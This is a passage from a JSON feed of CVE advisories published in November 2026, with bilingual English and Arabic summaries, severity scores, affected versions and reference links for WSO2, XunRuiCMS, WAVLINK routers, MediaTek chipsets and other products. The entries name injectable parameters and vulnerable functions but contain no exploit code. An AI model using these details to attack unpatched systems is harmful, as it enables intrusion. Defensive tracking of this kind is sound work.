تشفيرها من URL داخل rewritePrefix دون إعادة تشفيرها. تؤدي قيمة المعلمة التي ترمز فاصل مسار مع محدد جزء أو استعلام إلى فك التشفير إلى فواصل ومحددات حقيقية تحقن أجزاء مسار upstream إضافية وتزيل اللاحقة الإلزامية التي كان يفرضها rewritePrefix، دون استخدام عبور النقاط. يمكن لمهاجم عن بُعد دون مصادقة استغلال ذلك للوصول إلى مواقع upstream خارج البادئة المقصودة، مما يؤدي إلى تجاوز قيود المسار، واعتمادًا على upstream، تزوير الطلبات عبر الخادم أو تجاوز التفويض في الخدمة الموجهة. تم إصلاح المشكلة في @fastify/http-proxy 11.6.6، ويجب على المستخدمين الترقية إلى 11.6.6 أو أحدث. لا يوجد حل بديل سوى الترقية."},"refs":[["https://github.com/fastify/fastify-http-proxy/security/advisories/GHSA-h3vp-4jfr-v364","ref"],["https://cna.openjsf.org/security-advisories.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fastify-http-proxy"},{"id":"CVE-2026-2613","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T10:11:53Z","product":"WSO2 WSO2 API Manager","affected":[["4.0.0 – <4.0.0.387","4.0.0.387"],["4.1.0 – <4.1.0.251","4.1.0.251"],["4.2.0 – <4.2.0.191","4.2.0.191"],["4.3.0 – <4.3.0.102","4.3.0.102"],["4.4.0 – <4.4.0.66","4.4.0.66"],["4.5.0 – <4.5.0.51","4.5.0.51"],["4.6.0 – <4.6.0.15","4.6.0.15"],["4.5.0 – <4.5.0.50","4.5.0.50"],["4.5.0 – <4.5.0.52","4.5.0.52"],["4.6.0 – <4.6.0.16","4.6.0.16"],["0 – <9.33.25","9.33.25"]],"title":{"en":"SQL Injection via Admin REST API in Multiple WSO2 Products Allows Database Information Inference and Service Disruption","ar":"حقن SQL عبر Admin REST API في منتجات WSO2 متعددة يسمح باستنتاج معلومات قاعدة البيانات وتعطيل الخدمة"},"summary":{"en":"The Admin REST API accepts user-supplied input without adequately sanitizing it, allowing it to be included in the structure of SQL statements. A user with administrator privileges can exploit this by influencing the structure of executed SQL statements, enabling blind SQL injection to infer database information and potentially impact the availability of the database service.","ar":"تقبل واجهة Admin REST API مدخلات يزودها المستخدم دون تطهيرها بشكل كافٍ، مما يسمح بإدراجها في هيكل عبارات SQL. يمكن لمستخدم يملك صلاحيات المسؤول استغلال ذلك عبر التأثير في هيكل عبارات SQL المنفذة، مما يتيح حقن SQL الأعمى لغرض استنتاج معلومات قاعدة البيانات وإمكانية التأثير في توافر خدمة قاعدة البيانات."},"refs":[["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2026-5100/","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wso2-api-manager"},{"id":"CVE-2026-18199","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T07:43:59Z","product":"Zohocorp ManageEngine Password Manager Pro","affected":[["0 – <13236","13236"],["0 – <8601","8601"]],"title":{"en":"Remote Code Execution Vulnerability","ar":"ثغرة تنفيذ أوامر عن بُعد"},"summary":{"en":"Zohocorp ManageEngine Password Manager Pro versions before 13236 and PAM360 versions before 8601 are vulnerable to an authenticated Remote Code Execution vulnerability.","ar":"إصدارات Zohocorp ManageEngine Password Manager Pro التي تسبق الإصدار 13236 وإصدارات PAM360 التي تسبق الإصدار 8601 معرضة لتنفيذ أوامر عن بُعد بواسطة مهاجم يملك حسابًا مصادقًا عليه."},"refs":[["https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2026-18199.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-password-manager-pro"},{"id":"CVE-2026-120349","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T07:18:03Z","product":"dayrui XunRuiCMS","affected":[["4.7.0",null],["4.7.1",null],["4.7.2",null],["4.7.3",null],["4.7.4",null]],"title":{"en":"dayrui XunRuiCMS Mobile Site Directory index.php str_replace code injection","ar":"ثغرة حقن الشيفرة في ملف index.php ضمن مجلد الموقع للهاتف المحمول في منتج dayrui XunRuiCMS عبر الدالة str_replace"},"summary":{"en":"A security flaw has been discovered in dayrui XunRuiCMS up to 4.7.4. Affected by this issue is the function str_replace of the file /var/www/html/zzmob/index.php of the component Mobile Site Directory. The manipulation of the argument dirname results in code injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة أمنية في منتج dayrui XunRuiCMS حتى الإصدار 4.7.4. تتأثر بهذه المشكلة الدالة str_replace في الملف /var/www/html/zzmob/index.php التابع لمكون دليل موقع الهاتف المحمول. يؤدي التلاعب بالمعامل dirname إلى حقن شيفرة. يمكن شن الهجوم عن بُعد. تم نشر استغلال الثغرة للعامة وقد يُستخدم في شن هجمات. تم التواصل مع المورد مبكرًا بشأن هذا الكشف لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120349","advisory"],["https://vuldb.com/submit/1016299","advisory"],["https://github.com/tiranbge/disclosure-xunruicms-4.7.2/blob/master/reports/2.md","ref"],["https://vuldb.com/vuln/429673","ref"],["https://vuldb.com/vuln/429673/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dayrui-xunruicms"},{"id":"CVE-2026-101176","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:H","cwe":"CWE-264","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T06:51:51Z","product":"Huawei HarmonyOS","affected":[["4.3.3",null],["4.3.1",null],["4.3.0",null],["4.2.0",null],["4.0.0",null],["16.0.0",null],["15.0.0",null],["14.2.0",null],["14.0.0",null]],"title":{"en":"Permission control vulnerability in the event notification management module.","ar":"ثغرة في التحكم بالصلاحيات في وحدة إدارة إشعارات الأحداث."},"summary":{"en":"Permission control vulnerability in the event notification management module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.","ar":"ثغرة في التحكم بالصلاحيات في وحدة إدارة إشعارات الأحداث. التأثير: قد يؤثر الاستغلال الناجح لهذه الثغرة على سرية الخدمة."},"refs":[["https://consumer.huawei.com/en/support/bulletin/2026/10/","ref"],["https://consumer.huawei.com/en/support/bulletinvision/2026/10/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"huawei-harmonyos"},{"id":"CVE-2026-101186","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-19","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T06:48:33Z","product":"Huawei HarmonyOS","affected":[["6.1.0",null]],"title":{"en":"DoS vulnerability in the window module.","ar":"ثغرة حجب الخدمة في وحدة النوافذ."},"summary":{"en":"DoS vulnerability in the window module. Impact: Successful exploitation of this vulnerability may affect availability.","ar":"ثغرة حجب الخدمة في وحدة النوافذ. التأثير: قد يؤثر الاستغلال الناجح لهذه الثغرة على توفر الخدمة."},"refs":[["https://consumer.huawei.com/en/support/bulletin/2026/10/","ref"],["https://consumer.huawei.com/en/support/bulletinwearables/2026/10/","ref"],["https://consumer.huawei.com/en/support/bulletinlaptops/2026/10/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"huawei-harmonyos"},{"id":"CVE-2026-120347","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T06:17:43Z","product":"dayrui XunRuiCMS","affected":[["4.7.0",null],["4.7.1",null],["4.7.2",null],["4.7.3",null],["4.7.4",null]],"title":{"en":"dayrui XunRuiCMS Member View.php View sql injection","ar":"ثغرة حقن SQL في ملف View.php ضمن قسم الأعضاء في dayrui XunRuiCMS"},"summary":{"en":"A vulnerability was determined in dayrui XunRuiCMS up to 4.7.4. Affected is the function View of the file dayrui/Fcms/Core/View.php of the component Member Module. Executing a manipulation of the argument catid can lead to sql injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This patch is called 9b6ea0cf9c6e8cdc9a5260c38b95da5fed4c4231. The affected component should be upgraded.","ar":"تم تحديد ثغرة في الإصدارات حتى 4.7.4 من dayrui XunRuiCMS. التأثير يقع على الدالة View في الملف dayrui/Fcms/Core/View.php ضمن مكون وحدة الأعضاء. يؤدي التلاعب في الوسيط catid إلى حقن SQL. من الممكن شن الهجوم عن بُعد. تم الكشف علنًا عن استغلال هذه الثغرة وقد يتم استخدامها. يُسمى هذا التصحيح 9b6ea0cf9c6e8cdc9a5260c38b95da5fed4c4231. يجب ترقية المكون المتأثر."},"refs":[["https://gitee.com/dayrui/xunruicms/commit/9b6ea0cf9c6e8cdc9a5260c38b95da5fed4c4231","patch"],["https://vuldb.com/cve/CVE-2026-120347","advisory"],["https://vuldb.com/submit/1016284","advisory"],["https://gitee.com/dayrui/xunruicms/","ref"],["https://github.com/tiranbge/disclosure-xunruicms-4.7.2/blob/master/reports/3.md","ref"],["https://vuldb.com/vuln/429671","ref"],["https://vuldb.com/vuln/429671/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dayrui-xunruicms"},{"id":"CVE-2026-120348","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T06:17:43Z","product":"dayrui XunRuiCMS","affected":[["4.7.0",null],["4.7.1",null],["4.7.2",null],["4.7.3",null],["4.7.4",null]],"title":{"en":"dayrui XunRuiCMS Email Template Rendering Notice.php _get_tpl_content code injection","ar":"ثغرة حقن شيفرة في الدالة _get_tpl_content داخل ملف Notice.php لعرض قوالب البريد الإلكتروني في dayrui XunRuiCMS"},"summary":{"en":"A vulnerability was identified in dayrui XunRuiCMS up to 4.7.4. Affected by this vulnerability is the function _get_tpl_content of the file dayrui/Fcms/Library/Notice.php of the component Email Template Rendering. The manipulation leads to code injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في الإصدارات حتى 4.7.4 من dayrui XunRuiCMS. التأثير يقع على الدالة _get_tpl_content في الملف dayrui/Fcms/Library/Notice.php ضمن مكون عرض قوالب البريد الإلكتروني. يؤدي التلاعب إلى حقن شيفرة. يمكن بدء الهجوم عن بُعد. الاستغلال متاح للعامة وقد يتم استخدامه. تم التواصل مع المورِّد مبكرًا بشأن هذا الكشف لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120348","advisory"],["https://vuldb.com/submit/1016298","advisory"],["https://github.com/tiranbge/disclosure-xunruicms-4.7.2/blob/master/reports/1.md","ref"],["https://vuldb.com/vuln/429672","ref"],["https://vuldb.com/vuln/429672/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dayrui-xunruicms"},{"id":"CVE-2025-11969","cvss":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","cwe":"CWE-285","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T05:53:51Z","product":"WSO2 WSO2 API Manager","affected":[["3.1.0 – <3.1.0.347","3.1.0.347"],["3.2.0 – <3.2.0.450","3.2.0.450"],["3.2.1 – <3.2.1.70","3.2.1.70"],["4.0.0 – <4.0.0.370","4.0.0.370"],["4.1.0 – <4.1.0.233","4.1.0.233"],["4.2.0 – <4.2.0.173","4.2.0.173"],["4.3.0 – <4.3.0.85","4.3.0.85"],["4.4.0 – <4.4.0.49","4.4.0.49"],["4.5.0 – <4.5.0.32","4.5.0.32"],["5.10.0 – <5.10.0.367","5.10.0.367"],["2.0.0 – <2.0.0.396","2.0.0.396"],["2.0.0 – <2.0.0.416","2.0.0.416"]],"title":{"en":"Broken Access Control via System REST APIs in Multiple WSO2 Products Allows Unauthorized Administrative Actions","ar":"التحكم المعطل في الوصول عبر واجهات برمجة التطبيقات System REST APIs في منتجات WSO2 متعددة يسمح بإجراءات إدارية غير مصرح بها"},"summary":{"en":"The System REST APIs do not correctly enforce access control mechanisms, allowing users with lower privilege roles to execute administrative actions that should be restricted. This weakness permits unauthorized operations on the affected product. Successful exploitation could enable a malicious actor to perform unauthorized administrative operations, including executing administrative functions. APIs exposed through the WSO2 API Manager's API Gateway are not affected by this vulnerability.","ar":"لا تفرض واجهات برمجة التطبيقات System REST APIs آليات التحكم في الوصول بشكل صحيح، مما يسمح للمستخدمين ذوي الأدوار ذات الصلاحيات الأقل بتنفيذ إجراءات إدارية ينبغي تقييدها. تتيح هذه الضعف عمليات غير مصرح بها على المنتج المتأثر. قد يُمكّن الاستغلال الناجح مهاجمًا ضارًا من إجراء عمليات إدارية غير مصرح بها، بما في ذلك تنفيذ وظائف إدارية. واجهات برمجة التطبيقات المعروضة عبر بوابة API Gateway التابعة لمنتج WSO2 API Manager غير متأثرة بهذه الثغرة."},"refs":[["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4733/","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wso2-api-manager"},{"id":"CVE-2026-120342","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T05:18:24Z","product":"mathurvishal CloudClassroom-PHP-Project","affected":[["5dadec098bfbbf3300d60c3494db3fb95b66e7be",null],["c46ce5736007d9d6e51a8feeb9250729fe85f139",null],["dae0c5961a35a4faf28cde9e02117538f09f81c1",null]],"title":{"en":"mathurvishal CloudClassroom-PHP-Project viewquery.php sql injection","ar":"ثغرة حقن SQL في الملف viewquery.php في mathurvishal CloudClassroom-PHP-Project"},"summary":{"en":"A vulnerability was detected in mathurvishal CloudClassroom-PHP-Project. The affected element is an unknown function of the file viewquery.php. The manipulation of the argument eid results in sql injection. The attack can be executed remotely. The exploit is now public and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة في mathurvishal CloudClassroom-PHP-Project. العنصر المتأثر هو دالة غير معروفة في الملف viewquery.php. يؤدي التلاعب بالوسيط eid إلى حقن SQL. يمكن تنفيذ الهجوم عن بُعد. تم نشر استغلال الثغرة علنًا وقد يتم استخدامه. يعتمد هذا المنتج نموذج الإصدار المستمر (rolling release) للتسليم المستمر، مما يعني أن معلومات الإصدارات المتأثرة أو المحدثة غير متوفرة. تم التواصل مع المورد في وقت مبكر بشأن هذا الإفصاح ولكنه لم يستجب بأي طريقة."},"refs":[["https://vuldb.com/cve/CVE-2026-120342","advisory"],["https://vuldb.com/submit/1016422","advisory"],["https://github.com/luan-oliveira01/Advisory-CloudClassroom-PHP-Project-1.0/tree/main/viewquery-sqli","ref"],["https://vuldb.com/vuln/429667","ref"],["https://vuldb.com/vuln/429667/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mathurvishal-cloudclassroom-php-project"},{"id":"CVE-2026-120341","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-698","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T05:18:23Z","product":"mathurvishal CloudClassroom-PHP-Project","affected":[["5dadec098bfbbf3300d60c3494db3fb95b66e7be",null],["c46ce5736007d9d6e51a8feeb9250729fe85f139",null],["dae0c5961a35a4faf28cde9e02117538f09f81c1",null]],"title":{"en":"mathurvishal CloudClassroom-PHP-Project studentdetails.php redirect","ar":"ثغرة إعادة التوجيه في الملف studentdetails.php في mathurvishal CloudClassroom-PHP-Project"},"summary":{"en":"A security vulnerability has been detected in mathurvishal CloudClassroom-PHP-Project. Impacted is an unknown function of the file studentdetails.php. The manipulation leads to execution after redirect. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة أمنية في mathurvishal CloudClassroom-PHP-Project. يتأثر بذلك دالة غير معروفة في الملف studentdetails.php. يؤدي التلاعب إلى التنفيذ بعد إعادة التوجيه. يُعد استغلال الهجوم عن بُعد ممكنًا. تم الإفصاح عن استغلال الثغرة علنًا وقد يتم استخدامه. يتبع هذا المنتج نهج الإصدار المستمر (rolling release) للتسليم المستمر، ولذلك لا تتوفر تفاصيل الإصدارات المتأثرة أو المحدثة. تم التواصل مع المورد في وقت مبكر بشأن هذا الإفصاح ولكنه لم يستجب بأي طريقة."},"refs":[["https://vuldb.com/cve/CVE-2026-120341","advisory"],["https://vuldb.com/submit/1016328","advisory"],["https://github.com/vinniboy021-blip/Advisory/blob/main/details-plaintext-disclosure.md","ref"],["https://vuldb.com/vuln/429666","ref"],["https://vuldb.com/vuln/429666/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mathurvishal-cloudclassroom-php-project"},{"id":"CVE-2026-120345","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T05:15:16Z","product":"WAVLINK WN551X3-A","affected":[["M51X3_V251020-WO-182e965",null]],"title":{"en":"WAVLINK WN551X3-A DNS Resolution ioos sub_41a430 os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في الدالة sub_41a430 في WAVLINK WN551X3-A DNS Resolution ioos"},"summary":{"en":"A vulnerability was found in WAVLINK WN551X3-A M51X3_V251020-WO-182e965. This impacts the function sub_41a430 of the file /bin/ioos of the component DNS Resolution Handler. Performing a manipulation of the argument data results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في WAVLINK WN551X3-A M51X3_V251020-WO-182e965. تؤثر هذه الثغرة على الدالة sub_41a430 في الملف /bin/ioos التابع للمكون DNS Resolution Handler. يؤدي إجراء تلاعب في الوسيط data إلى حقن أوامر نظام التشغيل (os command injection). من الممكن بدء الهجوم عن بُعد. تم إتاحة استغلال الثغرة علنًا وقد يتم استخدامه. تم التواصل مع المورد في وقت مبكر بشأن هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120345","advisory"],["https://vuldb.com/submit/919579","advisory"],["https://vuldb.com/vuln/429670","ref"],["https://vuldb.com/vuln/429670/cti","ref"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK_WN551X3-A%20Router/WAVLINK_WN551X3-A_dns_resolution_command_injection.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn551x3-a"},{"id":"CVE-2026-120344","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T05:00:18Z","product":"WAVLINK WN551X3-A","affected":[["M51X3_V251020-WO-182e965",null]],"title":{"en":"WAVLINK WN551X3-A WireGuard CLI Group ioos system os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في مكون WireGuard CLI Group ioos لـ WAVLINK WN551X3-A"},"summary":{"en":"A vulnerability has been found in WAVLINK WN551X3-A M51X3_V251020-WO-182e965. This affects the function system of the file /bin/ioos of the component WireGuard CLI Group Handler. Such manipulation of the argument group_name leads to os command injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في الإصدار M51X3_V251020-WO-182e965 من WAVLINK WN551X3-A. تؤثر هذه الثغرة على وظيفة system في الملف /bin/ioos التابع لمكون WireGuard CLI Group Handler. يؤدي التلاعب في الوسيط group_name إلى حقن أوامر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد. تم الكشف عن الاستغلال للعموم وقد يتم استخدامه. تم التواصل مع المطعّم مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120344","advisory"],["https://vuldb.com/submit/919551","advisory"],["https://vuldb.com/vuln/429669","ref"],["https://vuldb.com/vuln/429669/cti","ref"],["https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK_WN551X3-A%20Router/WAVLINK_WN551X3-A_wireguard_cli_group_command_injection.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn551x3-a"},{"id":"CVE-2026-120336","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T04:16:53Z","product":"VStarcam O-KAM Client","affected":[["1.3.3.32",null]],"title":{"en":"VStarcam O-KAM Client DevDll_925.dll FUN_10003EA0 stack-based overflow","ar":"ثغرة فيضان المخزن المؤقت المستند إلى المكدس في FUN_10003EA0 ضمن DevDll_925.dll في عميل VStarcam O-KAM"},"summary":{"en":"A vulnerability was found in VStarcam O-KAM Client 1.3.3.32. Affected by this vulnerability is the function FUN_10003EA0 in the library DevDll_925.dll. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة في عميل VStarcam O-KAM الإصدار 1.3.3.32. تتأثر بهذه الثغرة الدالة FUN_10003EA0 في المكتبة DevDll_925.dll. يؤدي التلاعب إلى فيضان المخزن المؤقت المستند إلى المكدس. من الممكن شن الهجوم عن بُعد. تم نشر استغلال الثغرة للعموم ويمكن استخدامها. تم التواصل مع المورِّد مبكرًا بشأن هذا الإفصاح لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120336","advisory"],["https://vuldb.com/submit/1016301","advisory"],["https://gist.github.com/Ishanoshada/f6345a42a46e1345e6c7400aac311d77","ref"],["https://vuldb.com/vuln/429661","ref"],["https://vuldb.com/vuln/429661/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vstarcam-o-kam-client"},{"id":"CVE-2026-120337","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T04:16:53Z","product":"VStarcam O-KAM SuperIPCam","affected":[["1.3.3.32",null]],"title":{"en":"VStarcam O-KAM SuperIPCam P2P Session Teardown SuperIPCam.exe FUN_005a2d44 use after free","ar":"ثغرة استخدام الذاكرة بعد تحريرها في FUN_005a2d44 ضمن SuperIPCam.exe في مكون إنهاء جلسة P2P لبرنامج VStarcam O-KAM SuperIPCam"},"summary":{"en":"A vulnerability was determined in VStarcam O-KAM SuperIPCam 1.3.3.32. Affected by this issue is the function FUN_005a2d44 of the file SuperIPCam.exe of the component P2P Session Teardown. This manipulation causes use after free. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في VStarcam O-KAM SuperIPCam الإصدار 1.3.3.32. تتأثر بهذه المشكلة الدالة FUN_005a2d44 في الملف SuperIPCam.exe التابع لمكون إنهاء جلسة P2P. يتسبب هذا التلاعب في استخدام الذاكرة بعد تحريرها. يمكن شن الهجوم عن بُعد. تم الكشف عن استغلال الثغرة للعموم وقد يُستخدم. تم التواصل مع المورِّد مبكرًا بشأن هذا الإفصاح لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-120337","advisory"],["https://vuldb.com/submit/1016302","advisory"],["https://gist.github.com/Ishanoshada/cb73d61f792c77767338568501b135c9","ref"],["https://vuldb.com/vuln/429662","ref"],["https://vuldb.com/vuln/429662/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vstarcam-o-kam-superipcam"},{"id":"CVE-2026-20585","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T03:17:36Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2718",null],["MT2737",null],["MT6813",null],["MT6815",null],["MT6835",null],["MT6858",null],["MT6878",null],["MT6879",null],["MT6881",null],["MT6886",null],["MT6895",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check.","ar":"في المودم (Modem)، يوجد احتمال كتابة خارج الحدود بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01338165; Issue ID: MSV-9660.","ar":"في المودم، يوجد احتمال كتابة خارج الحدود بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، إذا اتصلت معدات المستخدم (UE) محطة أساسية خبيثة يتحكم فيها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم غير مطلوب للاستغلال. معرف التصحيح: MOLY01338165؛ معرف المشكلة: MSV-9660."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20558","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T03:17:32Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT6993",null],["MT8910",null]],"title":{"en":"In GPU pdma, there is a possible escalation of privilege due to use after free.","ar":"في وحدة GPU pdma، يوجد تصعيد محتمل للصلاحيات بسبب استخدام الذاكرة بعد تحريرها."},"summary":{"en":"In GPU pdma, there is a possible escalation of privilege due to use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11365070; Issue ID: MSV-9547.","ar":"في وحدة GPU pdma، يوجد تصعيد محتمل للصلاحيات بسبب استخدام الذاكرة بعد تحريرها. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم. معرف التصحيح: ALPS11365070؛ معرف المشكلة: MSV-9547."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-120324","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T03:17:30Z","product":"Aklivity Zilla","affected":[["1.3.0",null],["1.3.1",null],["1.3.2",null],["1.3.3",null],["1.3.4",null],["2.4.0",null],["2.4.1",null],["2.4.2",null],["2.4.3",null],["2.4.4",null],["2.4.5",null],["2.4.6",null]],"title":{"en":"Aklivity Zilla http-filesystem Binding FileSystemServerFactory Path.resolve path traversal","ar":"ثغرة اجتاز المسار في FileSystemServerFactory ضمن مكون http-filesystem Binding في Aklivity Zilla"},"summary":{"en":"A weakness has been identified in Aklivity Zilla up to 1.3.4/2.4.7/2.5.0-rc2. The affected element is the function Path.resolve of the file FileSystemServerFactory of the component http-filesystem Binding. This manipulation of the argument params causes path traversal. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.5.0-rc3 is sufficient to fix this issue. Patch name: 46a8b15cbea157f7ae8b7cb865809a02fd6b1988. You should upgrade the affected 